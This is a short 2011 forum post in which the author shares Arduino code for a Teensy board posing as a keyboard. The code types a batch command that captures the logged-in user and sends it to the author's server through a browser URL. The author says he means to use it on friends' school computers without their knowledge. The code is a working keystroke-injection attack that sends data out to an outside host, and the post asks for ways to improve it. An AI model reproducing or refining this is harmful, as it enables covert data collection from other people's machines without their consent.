UnDeFiNeD Posted July 4, 2011 Posted July 4, 2011 Well I bought a teensy the other day and have been messing with it. I wanted to send the computer's name and the current user to my server so could log it (I plan to use it to mess with my friends at school so i need to know). Heres what I ended up using (server side just takes a get request, adds the IP and date then logs it) Keyboard.print("for /f \"delims=\" %a in ('whoami') do @set cn=%a"); enter(); Keyboard.print("start http://mysite/log.php?cn=%cn%"); enter(); It may be messy, I dont know batch that well so that was thrown together from tidbits I learned and probably not that efficient (but it works)... If anyone knows any better ways, let me know :) Quote
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.